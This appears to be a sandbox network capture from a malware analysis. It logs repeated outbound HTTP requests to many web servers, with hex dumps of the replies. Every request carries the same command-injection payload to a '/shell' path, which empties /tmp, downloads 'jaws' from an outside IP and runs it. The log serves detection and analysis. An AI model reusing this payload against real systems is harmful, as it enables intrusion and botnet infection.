Jan 2, 2024 06:25:34.867651939 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:35.211955070 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:35 GMT Date: Tue, 02 Jan 2024 05:25:35 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 63 36 30 63 31 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 31 33 35 26 23 34 36 3b 34 61 64 32 35 35 30 65 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ac60c117.1704173135.4ad2550e</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.23	51082	24.90.220.124	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:34.883177042 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:35.072665930 CET	911	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 73 70 61 6e 2e 75 72 6c 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 20 7d 70 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 73 70 61 6e 2e 73 65 72 76 65 72 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 72 6c 22 3e 26 23 78 32 46 3b 73 68 65 6c 6c 3f 63 64 20 26 23 78 32 46 3b 74 6d 70 3b 72 6d 20 2d 72 66 20 2a 3b 77 67 65 74 20 3c 2f 73 70 61 6e 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 70 3e 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 72 76 65 72 22 3e 53 6f 6e 69 63 57 61 6c 6c 20 53 65 72 76 65 72 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>File not found!</title><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; }span.url { text-decoration: underline; }p {margin-left: 3em;}span.server {font-size: smaller;}/.../--></style></head><body><h1>File not found!</h1><p>The requested URL <span class="url">/shell?cd /tmp;rm -rf ;wget </span> was not found on this server.</p><p>If you entered the URL manually please check your spelling and try again.</p><h2>Error 404</h2><p><span class="server">SonicWall Server</span></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.23	42596	18.67.147.17	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:34.896348000 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:35.269094944 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Tue, 02 Jan 2024 05:25:35 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.23	57446	37.97.157.91	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:34.999588013 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:35.226856947 CET	406	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:35 GMT Server: Apache/2 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.23	35922	34.196.134.247	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:34.999780893 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:35.158305883 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:25:35 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.23	52380	77.74.207.203	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:35.073405027 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:35.347615004 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:25:35 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.23	41714	86.107.30.115	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:35.089931965 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:35.363141060 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.23	51274	88.151.101.148	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:35.254796982 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:35.510946035 CET	506	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:35 GMT Server: Apache/2.4.38 (Debian) Content-Length: 312 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 77 65 62 6d 61 69 6c 2e 63 61 72 74 6f 73 6f 66 74 2e 68 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at webmail.cartosoft.hu Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.23	55822	62.138.75.229	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:35.265496016 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:35.531460047 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.23	45590	18.140.253.67	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:35.354969978 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:35.689347982 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.23	57188	184.27.51.32	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:35.366173029 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:35.711452007 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:35 GMT Date: Tue, 02 Jan 2024 05:25:35 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 32 62 64 65 66 37 35 26 23 34 36 3b 31 37 30 34 31 37 33 31 33 35 26 23 34 36 3b 36 35 65 31 66 66 61 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.72bdef75.1704173135.65e1ffa2</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.23	55178	104.252.147.128	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:35.867202044 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:36.028285027 CET	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:25:35 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.23	38682	197.26.123.215	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:36.163558960 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.23	47542	23.57.78.174	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:36.406857967 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:36.780858994 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:36 GMT Date: Tue, 02 Jan 2024 05:25:36 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 36 35 64 64 32 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 31 33 36 26 23 34 36 3b 33 37 39 38 30 32 31 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.765dd217.1704173136.3798021b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.23	43926	216.172.159.36	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:37.943407059 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:38.104387999 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:25:38 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.23	57532	35.211.213.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:37.947175026 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.23	48702	23.14.39.91	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:37.988872051 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:38.195410967 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:38 GMT Date: Tue, 02 Jan 2024 05:25:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 32 61 33 31 33 30 32 26 23 34 36 3b 31 37 30 34 31 37 33 31 33 38 26 23 34 36 3b 39 33 65 33 62 30 37 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.12a31302.1704173138.93e3b07f</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.23	48810	62.146.189.28	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:38.026985884 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:38.272485971 CET	1162	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jan 2024 05:24:52 GMT Server: Apache/2.2.9 (Debian) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8g Last-Modified: Tue, 14 Mar 2017 11:18:34 GMT ETag: "3ca039-30b-54aaefd0ff680;48211bc79dac0" Accept-Ranges: bytes Content-Length: 779 Vary: Accept-Encoding Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 74 69 74 6c 65 3e 69 73 70 43 50 20 4f 4d 45 47 41 20 2d 20 45 72 72 6f 72 20 34 30 34 3c 2f 74 69 74 